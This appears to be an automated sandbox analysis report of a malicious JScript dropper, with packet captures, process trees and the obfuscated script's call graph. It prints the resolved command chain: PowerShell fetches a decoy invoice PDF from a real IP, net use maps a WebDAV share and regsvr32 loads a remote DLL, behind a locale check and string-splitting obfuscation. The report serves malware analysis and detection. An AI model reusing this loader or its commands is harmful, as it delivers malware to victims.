Jan 11, 2025 03:42:06.217282057 CET	328	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 03:42:06.217386007 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 03:42:06.217396975 CET	224	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}
Jan 11, 2025 03:42:06.221921921 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	193.143.1.205	8888	3920	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:42:07.814737082 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:42:08.649224043 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:42:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:42:01
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js"
Imagebase:	0x7ff7f1a70000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:42:01
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll
Imagebase:	0x7ff7f07f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:42:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:42:02
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:42:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:42:07
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f07f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:42:07
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7782f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:42:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:42:08
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:42:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2188 --field-trial-handle=1772,i,9076857795864624000,12675587857248145815,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function usonsikr() {	usonsikr() ➔ undefined
1	hqgrskhej = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kvjoexc = this[yljcgzxso + rojtowh + ufcqqqcht + svbjnuiz + hblta + wxohah + afouysyp + ibxwdivgp] ( this[uesspvn + copkspm + ipkrhgc + ufcqqqcht + bwrgfu + yljcgzxso + ibxwdivgp][vtpbub + ufcqqqcht + hblta + rojtowh + ibxwdivgp + hblta + ehrjlg + vcsjcyi + rsygnyroq + hblta + ipkrhgc + ibxwdivgp] ( uesspvn + copkspm + ipkrhgc + ufcqqqcht + bwrgfu + yljcgzxso + ibxwdivgp + tkgfer + copkspm + ltppcymts + hblta + ckbjir + ckbjir ) [nlgdmae + hblta + sdkwjplyv + nlgdmae + hblta + rojtowh + rlphpjf] ( bmrzgzmpc + yjvkuysi + fjgkbgzxa + bxyyxolq + bwrfcko + vtpbub + yyqersi + nlgdmae + nlgdmae + fjgkbgzxa + lalvesgdz + oxgegmtr + bwrfcko + yyqersi + copkspm + fjgkbgzxa + nlgdmae + jhfvb + vtpbub + vglkmf + afouysyp + ibxwdivgp + ufcqqqcht + vglkmf + ckbjir + emuwlwmwf + pqeyydeqt + rojtowh + afouysyp + hblta + ckbjir + jhfvb + wxohah + afouysyp + ibxwdivgp + hblta + ufcqqqcht + afouysyp + rojtowh + ibxwdivgp + bwrgfu + vglkmf + afouysyp + rojtowh + ckbjir + jhfvb + ofniqwrg + vglkmf + ipkrhgc + rojtowh + ckbjir + hblta ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( eleyhb = 0 ; eleyhb < hqgrskhej[ckbjir + hblta + afouysyp + sdkwjplyv + ibxwdivgp + ltppcymts] ; ++ eleyhb )
4	{
5	if ( kvjoexc == hqgrskhej[eleyhb] )
6	{
7	kvjoexc = true;
8	break ;
9	}
10	}
11	if ( kvjoexc !== true )
12	this[uesspvn + copkspm + ipkrhgc + ufcqqqcht + bwrgfu + yljcgzxso + ibxwdivgp][edcdokdol + yiikuyy + bwrgfu + ibxwdivgp] ( );
13	this[uesspvn + copkspm + ipkrhgc + ufcqqqcht + bwrgfu + yljcgzxso + ibxwdivgp][vtpbub + ufcqqqcht + hblta + rojtowh + ibxwdivgp + hblta + ehrjlg + vcsjcyi + rsygnyroq + hblta + ipkrhgc + ibxwdivgp] ( uesspvn + copkspm + ipkrhgc + ufcqqqcht + bwrgfu + yljcgzxso + ibxwdivgp + tkgfer + copkspm + ltppcymts + hblta + ckbjir + ckbjir ) [ufcqqqcht + yiikuyy + afouysyp] ( ipkrhgc + crkjylu + rlphpjf + emuwlwmwf + tswylf + ipkrhgc + emuwlwmwf + yljcgzxso + vglkmf + qgdac + hblta + ufcqqqcht + svbjnuiz + ltppcymts + hblta + ckbjir + ckbjir + tkgfer + hblta + tdxaeahd + hblta + emuwlwmwf + zlioxvd + vtpbub + vglkmf + crkjylu + crkjylu + rojtowh + afouysyp + rlphpjf + emuwlwmwf + gofih + wxohah + afouysyp + wodqquaq + vglkmf + otolfl + hblta + zlioxvd + uesspvn + hblta + vcsjcyi + nlgdmae + hblta + zikdkxnla + yiikuyy + hblta + svbjnuiz + ibxwdivgp + emuwlwmwf + zlioxvd + ehrjlg + yiikuyy + ibxwdivgp + ldvzhyptw + bwrgfu + ckbjir + hblta + emuwlwmwf + xmrifmgsn + ibxwdivgp + hblta + crkjylu + yljcgzxso + xmrifmgsn + jhfvb + bwrgfu + afouysyp + wodqquaq + vglkmf + bwrgfu + ipkrhgc + hblta + tkgfer + yljcgzxso + rlphpjf + yqwkzww + emuwlwmwf + ltppcymts + ibxwdivgp + ibxwdivgp + yljcgzxso + vquncndg + tswylf + tswylf + ddgpzxf + cnamwfy + unauamdq + tkgfer + ddgpzxf + fbbvwtjms + unauamdq + tkgfer + ddgpzxf + tkgfer + ivmqm + ylaxlp + xpjvoa + tswylf + bwrgfu + afouysyp + wodqquaq + vglkmf + bwrgfu + ipkrhgc + hblta + tkgfer + yljcgzxso + ltppcymts + yljcgzxso + gofih + ccwdjehzi + ccwdjehzi + svbjnuiz + ibxwdivgp + rojtowh + ufcqqqcht + ibxwdivgp + emuwlwmwf + xmrifmgsn + ibxwdivgp + hblta + crkjylu + yljcgzxso + xmrifmgsn + jhfvb + bwrgfu + afouysyp + wodqquaq + vglkmf + bwrgfu + ipkrhgc + hblta + tkgfer + yljcgzxso + rlphpjf + yqwkzww + ccwdjehzi + ccwdjehzi + ipkrhgc + crkjylu + rlphpjf + emuwlwmwf + tswylf + ipkrhgc + emuwlwmwf + afouysyp + hblta + ibxwdivgp + emuwlwmwf + yiikuyy + svbjnuiz + hblta + emuwlwmwf + jhfvb + jhfvb + ddgpzxf + cnamwfy + unauamdq + tkgfer + ddgpzxf + fbbvwtjms + unauamdq + tkgfer + ddgpzxf + tkgfer + ivmqm + ylaxlp + xpjvoa + rvgybua + kouuc + kouuc + kouuc + kouuc + jhfvb + rlphpjf + rojtowh + wodqquaq + qgdac + qgdac + qgdac + ufcqqqcht + vglkmf + vglkmf + ibxwdivgp + jhfvb + ccwdjehzi + ccwdjehzi + ipkrhgc + crkjylu + rlphpjf + emuwlwmwf + tswylf + ipkrhgc + emuwlwmwf + ufcqqqcht + hblta + sdkwjplyv + svbjnuiz + wodqquaq + ufcqqqcht + unauamdq + ivmqm + emuwlwmwf + tswylf + svbjnuiz + emuwlwmwf + jhfvb + jhfvb + ddgpzxf + cnamwfy + unauamdq + tkgfer + ddgpzxf + fbbvwtjms + unauamdq + tkgfer + ddgpzxf + tkgfer + ivmqm + ylaxlp + xpjvoa + rvgybua + kouuc + kouuc + kouuc + kouuc + jhfvb + rlphpjf + rojtowh + wodqquaq + qgdac + qgdac + qgdac + ufcqqqcht + vglkmf + vglkmf + ibxwdivgp + jhfvb + unauamdq + ivmqm + ylaxlp + xpjvoa + cnamwfy + ivmqm + ylaxlp + unauamdq + xpjvoa + xpjvoa + unauamdq + ylaxlp + cnamwfy + fbbvwtjms + xpjvoa + tkgfer + rlphpjf + ckbjir + ckbjir, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll",0,false) ➔ 0
14	}
15	tkgfer = "g";
16	tkgfer = "R";
17	tkgfer = "w";
18	tkgfer = "j";
19	tkgfer = "e";
20	tkgfer = "a";
21	tkgfer = "n";
22	tkgfer = "d";
23	tkgfer = "C";
24	tkgfer = "J";
25	tkgfer = "v";
26	tkgfer = "j";
27	tkgfer = "V";
28	tkgfer = "i";
29	tkgfer = "P";
30	tkgfer = "O";
31	tkgfer = "U";
32	tkgfer = "f";
33	tkgfer = "J";
34	tkgfer = ".";
35	bwrgfu = "M";
36	bwrgfu = "Y";
37	bwrgfu = "e";
38	bwrgfu = "X";
39	bwrgfu = "o";
40	bwrgfu = "R";
41	bwrgfu = "t";
42	bwrgfu = "H";
43	bwrgfu = "h";
44	bwrgfu = "r";
45	bwrgfu = "c";
46	bwrgfu = "i";
47	zikdkxnla = "W";
48	zikdkxnla = "i";
49	zikdkxnla = "e";
50	zikdkxnla = "h";
51	zikdkxnla = "q";
52	rojtowh = "a";
53	uesspvn = "j";
54	uesspvn = "Z";
55	uesspvn = "M";
56	uesspvn = "C";
57	uesspvn = "o";
58	uesspvn = "W";
59	uesspvn = "A";
60	uesspvn = "x";
61	uesspvn = "I";
62	uesspvn = "L";
63	uesspvn = "i";
64	uesspvn = "F";
65	uesspvn = "R";
66	uesspvn = "I";
67	uesspvn = "r";
68	uesspvn = "f";
69	uesspvn = "Q";
70	uesspvn = "W";
71	uesspvn = "B";
72	uesspvn = "l";
73	uesspvn = "h";
74	uesspvn = "B";
75	uesspvn = "c";
76	uesspvn = "v";
77	uesspvn = "w";
78	uesspvn = "D";
79	uesspvn = "A";
80	uesspvn = "H";
81	uesspvn = "X";
82	uesspvn = "i";
83	uesspvn = "u";
84	uesspvn = "W";
85	xmrifmgsn = "s";
86	xmrifmgsn = "L";
87	xmrifmgsn = "B";
88	xmrifmgsn = "O";
89	xmrifmgsn = "T";
90	xmrifmgsn = "l";
91	xmrifmgsn = "O";
92	xmrifmgsn = "v";
93	xmrifmgsn = "d";
94	xmrifmgsn = "%";
95	bxyyxolq = "m";
96	bxyyxolq = "M";
97	bxyyxolq = "T";
98	bxyyxolq = "Q";
99	bxyyxolq = "f";
100	bxyyxolq = "X";
101	bxyyxolq = "n";
102	bxyyxolq = "C";
103	bxyyxolq = "g";
104	bxyyxolq = "h";
105	bxyyxolq = "r";
106	bxyyxolq = "P";
107	bxyyxolq = "c";
108	bxyyxolq = "Y";
109	unauamdq = "T";
110	unauamdq = "V";
111	unauamdq = "n";
112	unauamdq = "v";
113	unauamdq = "R";
114	unauamdq = "A";
115	unauamdq = "m";
116	unauamdq = "n";
117	unauamdq = "W";
118	unauamdq = "Q";
119	unauamdq = "U";
120	unauamdq = "3";
121	vcsjcyi = "o";
122	vcsjcyi = "R";
123	vcsjcyi = "y";
124	vcsjcyi = "J";
125	vcsjcyi = "N";
126	vcsjcyi = "u";
127	vcsjcyi = "U";
128	vcsjcyi = "A";
129	vcsjcyi = "G";
130	vcsjcyi = "q";
131	vcsjcyi = "d";
132	vcsjcyi = "R";
133	vcsjcyi = "X";
134	vcsjcyi = "U";
135	vcsjcyi = "X";
136	vcsjcyi = "A";
137	vcsjcyi = "K";
138	vcsjcyi = "c";
139	vcsjcyi = "T";
140	vcsjcyi = "f";
141	vcsjcyi = "A";
142	vcsjcyi = "a";
143	vcsjcyi = "p";
144	vcsjcyi = "n";
145	vcsjcyi = "r";
146	vcsjcyi = "l";
147	vcsjcyi = "s";
148	vcsjcyi = "E";
149	vcsjcyi = "C";
150	vcsjcyi = "e";
151	vcsjcyi = "Z";
152	vcsjcyi = "P";
153	vcsjcyi = "I";
154	vcsjcyi = "K";
155	vcsjcyi = "y";
156	vcsjcyi = "b";
157	ddgpzxf = "T";
158	ddgpzxf = "K";
159	ddgpzxf = "T";
160	ddgpzxf = "g";
161	ddgpzxf = "E";
162	ddgpzxf = "J";
163	ddgpzxf = "m";
164	ddgpzxf = "M";
165	ddgpzxf = "m";
166	ddgpzxf = "b";
167	ddgpzxf = "M";
168	ddgpzxf = "g";
169	ddgpzxf = "Q";
170	ddgpzxf = "q";
171	ddgpzxf = "c";
172	ddgpzxf = "u";
173	ddgpzxf = "N";
174	ddgpzxf = "p";
175	ddgpzxf = "L";
176	ddgpzxf = "i";
177	ddgpzxf = "z";
178	ddgpzxf = "N";
179	ddgpzxf = "V";
180	ddgpzxf = "f";
181	ddgpzxf = "T";
182	ddgpzxf = "F";
183	ddgpzxf = "p";
184	ddgpzxf = "y";
185	ddgpzxf = "M";
186	ddgpzxf = "J";
187	ddgpzxf = "m";
188	ddgpzxf = "v";
189	ddgpzxf = "U";
190	ddgpzxf = "J";
191	ddgpzxf = "1";
192	sdkwjplyv = "h";
193	sdkwjplyv = "O";
194	sdkwjplyv = "Y";
195	sdkwjplyv = "W";
196	sdkwjplyv = "y";
197	sdkwjplyv = "x";
198	sdkwjplyv = "g";
199	pqeyydeqt = "f";
200	pqeyydeqt = "r";
201	pqeyydeqt = "a";
202	pqeyydeqt = "q";
203	pqeyydeqt = "t";
204	pqeyydeqt = "s";
205	pqeyydeqt = "f";
206	pqeyydeqt = "u";
207	pqeyydeqt = "E";
208	pqeyydeqt = "k";
209	pqeyydeqt = "y";
210	pqeyydeqt = "B";
211	pqeyydeqt = "N";
212	pqeyydeqt = "q";
213	pqeyydeqt = "Z";
214	pqeyydeqt = "T";
215	pqeyydeqt = "x";
216	pqeyydeqt = "b";
217	pqeyydeqt = "l";
218	pqeyydeqt = "P";
219	pqeyydeqt = "F";
220	pqeyydeqt = "t";
221	pqeyydeqt = "T";
222	pqeyydeqt = "B";
223	pqeyydeqt = "P";
224	wxohah = "D";
225	wxohah = "B";
226	wxohah = "Q";
227	wxohah = "e";
228	wxohah = "s";
229	wxohah = "Y";
230	wxohah = "F";
231	wxohah = "b";
232	wxohah = "k";
233	wxohah = "q";
234	wxohah = "h";
235	wxohah = "i";
236	wxohah = "O";
237	wxohah = "M";
238	wxohah = "m";
239	wxohah = "C";
240	wxohah = "e";
241	wxohah = "b";
242	wxohah = "M";
243	wxohah = "b";
244	wxohah = "B";
245	wxohah = "I";
246	vglkmf = "V";
247	vglkmf = "h";
248	vglkmf = "K";
249	vglkmf = "J";
250	vglkmf = "s";
251	vglkmf = "S";
252	vglkmf = "a";
253	vglkmf = "c";
254	vglkmf = "m";
255	vglkmf = "f";
256	vglkmf = "d";
257	vglkmf = "A";
258	vglkmf = "H";
259	vglkmf = "s";
260	vglkmf = "m";
261	vglkmf = "q";
262	vglkmf = "U";
263	vglkmf = "X";
264	vglkmf = "w";
265	vglkmf = "x";
266	vglkmf = "E";
267	vglkmf = "x";
268	vglkmf = "E";
269	vglkmf = "L";
270	vglkmf = "l";
271	vglkmf = "v";
272	vglkmf = "U";
273	vglkmf = "A";
274	vglkmf = "h";
275	vglkmf = "P";
276	vglkmf = "j";
277	vglkmf = "T";
278	vglkmf = "U";
279	vglkmf = "A";
280	vglkmf = "F";
281	vglkmf = "i";
282	vglkmf = "o";
283	ufcqqqcht = "j";
284	ufcqqqcht = "t";
285	ufcqqqcht = "u";
286	ufcqqqcht = "i";
287	ufcqqqcht = "K";
288	ufcqqqcht = "j";
289	ufcqqqcht = "F";
290	ufcqqqcht = "K";
291	ufcqqqcht = "F";
292	ufcqqqcht = "c";
293	ufcqqqcht = "b";
294	ufcqqqcht = "r";
295	ufcqqqcht = "B";
296	ufcqqqcht = "O";
297	ufcqqqcht = "X";
298	ufcqqqcht = "r";
299	ufcqqqcht = "z";
300	ufcqqqcht = "A";
301	ufcqqqcht = "v";
302	ufcqqqcht = "O";
303	ufcqqqcht = "d";
304	ufcqqqcht = "B";
305	ufcqqqcht = "b";
306	ufcqqqcht = "f";
307	ufcqqqcht = "r";
308	fbbvwtjms = "O";
309	fbbvwtjms = "m";
310	fbbvwtjms = "W";
311	fbbvwtjms = "N";
312	fbbvwtjms = "Z";
313	fbbvwtjms = "d";
314	fbbvwtjms = "4";
315	lalvesgdz = "D";
316	lalvesgdz = "n";
317	lalvesgdz = "o";
318	lalvesgdz = "P";
319	lalvesgdz = "U";
320	lalvesgdz = "M";
321	lalvesgdz = "v";
322	lalvesgdz = "W";
323	lalvesgdz = "p";
324	lalvesgdz = "x";
325	lalvesgdz = "H";
326	lalvesgdz = "r";
327	lalvesgdz = "W";
328	lalvesgdz = "h";
329	lalvesgdz = "C";
330	lalvesgdz = "J";
331	lalvesgdz = "M";
332	lalvesgdz = "B";
333	lalvesgdz = "t";
334	lalvesgdz = "Y";
335	lalvesgdz = "Q";
336	lalvesgdz = "x";
337	lalvesgdz = "t";
338	lalvesgdz = "b";
339	lalvesgdz = "C";
340	lalvesgdz = "R";
341	lalvesgdz = "N";
342	vquncndg = "h";
343	vquncndg = "M";
344	vquncndg = "h";
345	vquncndg = "D";
346	vquncndg = "z";
347	vquncndg = "s";
348	vquncndg = "q";
349	vquncndg = "Q";
350	vquncndg = "t";
351	vquncndg = "m";
352	vquncndg = "p";
353	vquncndg = "z";
354	vquncndg = "o";
355	vquncndg = "j";
356	vquncndg = ":";
357	ylaxlp = "f";
358	ylaxlp = "j";
359	ylaxlp = "g";
360	ylaxlp = "T";
361	ylaxlp = "H";
362	ylaxlp = "B";
363	ylaxlp = "I";
364	ylaxlp = "A";
365	ylaxlp = "g";
366	ylaxlp = "o";
367	ylaxlp = "R";
368	ylaxlp = "A";
369	ylaxlp = "T";
370	ylaxlp = "n";
371	ylaxlp = "w";
372	ylaxlp = "m";
373	ylaxlp = "Q";
374	ylaxlp = "v";
375	ylaxlp = "H";
376	ylaxlp = "M";
377	ylaxlp = "d";
378	ylaxlp = "A";
379	ylaxlp = "J";
380	ylaxlp = "o";
381	ylaxlp = "q";
382	ylaxlp = "v";
383	ylaxlp = "K";
384	ylaxlp = "N";
385	ylaxlp = "x";
386	ylaxlp = "z";
387	ylaxlp = "u";
388	ylaxlp = "x";
389	ylaxlp = "0";
390	copkspm = "X";
391	copkspm = "k";
392	copkspm = "e";
393	copkspm = "a";
394	copkspm = "L";
395	copkspm = "S";
396	copkspm = "Q";
397	copkspm = "N";
398	copkspm = "s";
399	copkspm = "x";
400	copkspm = "p";
401	copkspm = "l";
402	copkspm = "z";
403	copkspm = "Q";
404	copkspm = "f";
405	copkspm = "u";
406	copkspm = "c";
407	copkspm = "Q";
408	copkspm = "X";
409	copkspm = "f";
410	copkspm = "m";
411	copkspm = "b";
412	copkspm = "b";
413	copkspm = "E";
414	copkspm = "S";
415	hblta = "X";
416	hblta = "M";
417	hblta = "e";
418	ipkrhgc = "Z";
419	ipkrhgc = "v";
420	ipkrhgc = "A";
421	ipkrhgc = "h";
422	ipkrhgc = "y";
423	ipkrhgc = "S";
424	ipkrhgc = "m";
425	ipkrhgc = "M";
426	ipkrhgc = "i";
427	ipkrhgc = "H";
428	ipkrhgc = "H";
429	ipkrhgc = "u";
430	ipkrhgc = "c";
431	ltppcymts = "f";
432	ltppcymts = "o";
433	ltppcymts = "A";
434	ltppcymts = "p";
435	ltppcymts = "o";
436	ltppcymts = "j";
437	ltppcymts = "q";
438	ltppcymts = "q";
439	ltppcymts = "K";
440	ltppcymts = "g";
441	ltppcymts = "q";
442	ltppcymts = "W";
443	ltppcymts = "K";
444	ltppcymts = "D";
445	ltppcymts = "h";
446	kouuc = "G";
447	kouuc = "i";
448	kouuc = "r";
449	kouuc = "M";
450	kouuc = "q";
451	kouuc = "n";
452	kouuc = "8";
453	zlioxvd = "G";
454	zlioxvd = "O";
455	zlioxvd = "N";
456	zlioxvd = "q";
457	zlioxvd = "y";
458	zlioxvd = "F";
459	zlioxvd = "U";
460	zlioxvd = "A";
461	zlioxvd = "h";
462	zlioxvd = "-";
463	ehrjlg = "B";
464	ehrjlg = "j";
465	ehrjlg = "s";
466	ehrjlg = "D";
467	ehrjlg = "A";
468	ehrjlg = "W";
469	ehrjlg = "A";
470	ehrjlg = "i";
471	ehrjlg = "p";
472	ehrjlg = "d";
473	ehrjlg = "L";
474	ehrjlg = "E";
475	ehrjlg = "y";
476	ehrjlg = "z";
477	ehrjlg = "o";
478	ehrjlg = "v";
479	ehrjlg = "U";
480	ehrjlg = "O";
481	ldvzhyptw = "w";
482	ldvzhyptw = "I";
483	ldvzhyptw = "O";
484	ldvzhyptw = "o";
485	ldvzhyptw = "F";
486	vtpbub = "c";
487	vtpbub = "c";
488	vtpbub = "X";
489	vtpbub = "d";
490	vtpbub = "r";
491	vtpbub = "U";
492	vtpbub = "N";
493	vtpbub = "n";
494	vtpbub = "N";
495	vtpbub = "w";
496	vtpbub = "k";
497	vtpbub = "t";
498	vtpbub = "Y";
499	vtpbub = "X";
500	vtpbub = "C";
501	vtpbub = "X";
502	vtpbub = "F";
503	vtpbub = "W";
504	vtpbub = "v";
505	vtpbub = "R";
506	vtpbub = "W";
507	vtpbub = "m";
508	vtpbub = "b";
509	vtpbub = "A";
510	vtpbub = "h";
511	vtpbub = "L";
512	vtpbub = "r";
513	vtpbub = "i";
514	vtpbub = "c";
515	vtpbub = "T";
516	vtpbub = "Y";
517	vtpbub = "V";
518	vtpbub = "d";
519	vtpbub = "U";
520	vtpbub = "y";
521	vtpbub = "m";
522	vtpbub = "k";
523	vtpbub = "Y";
524	vtpbub = "R";
525	vtpbub = "w";
526	vtpbub = "c";
527	vtpbub = "Q";
528	vtpbub = "u";
529	vtpbub = "C";
530	tdxaeahd = "W";
531	tdxaeahd = "X";
532	tdxaeahd = "J";
533	tdxaeahd = "J";
534	tdxaeahd = "j";
535	tdxaeahd = "k";
536	tdxaeahd = "x";
537	tdxaeahd = "i";
538	tdxaeahd = "e";
539	tdxaeahd = "U";
540	tdxaeahd = "E";
541	tdxaeahd = "t";
542	tdxaeahd = "m";
543	tdxaeahd = "F";
544	tdxaeahd = "U";
545	tdxaeahd = "X";
546	tdxaeahd = "a";
547	tdxaeahd = "F";
548	tdxaeahd = "q";
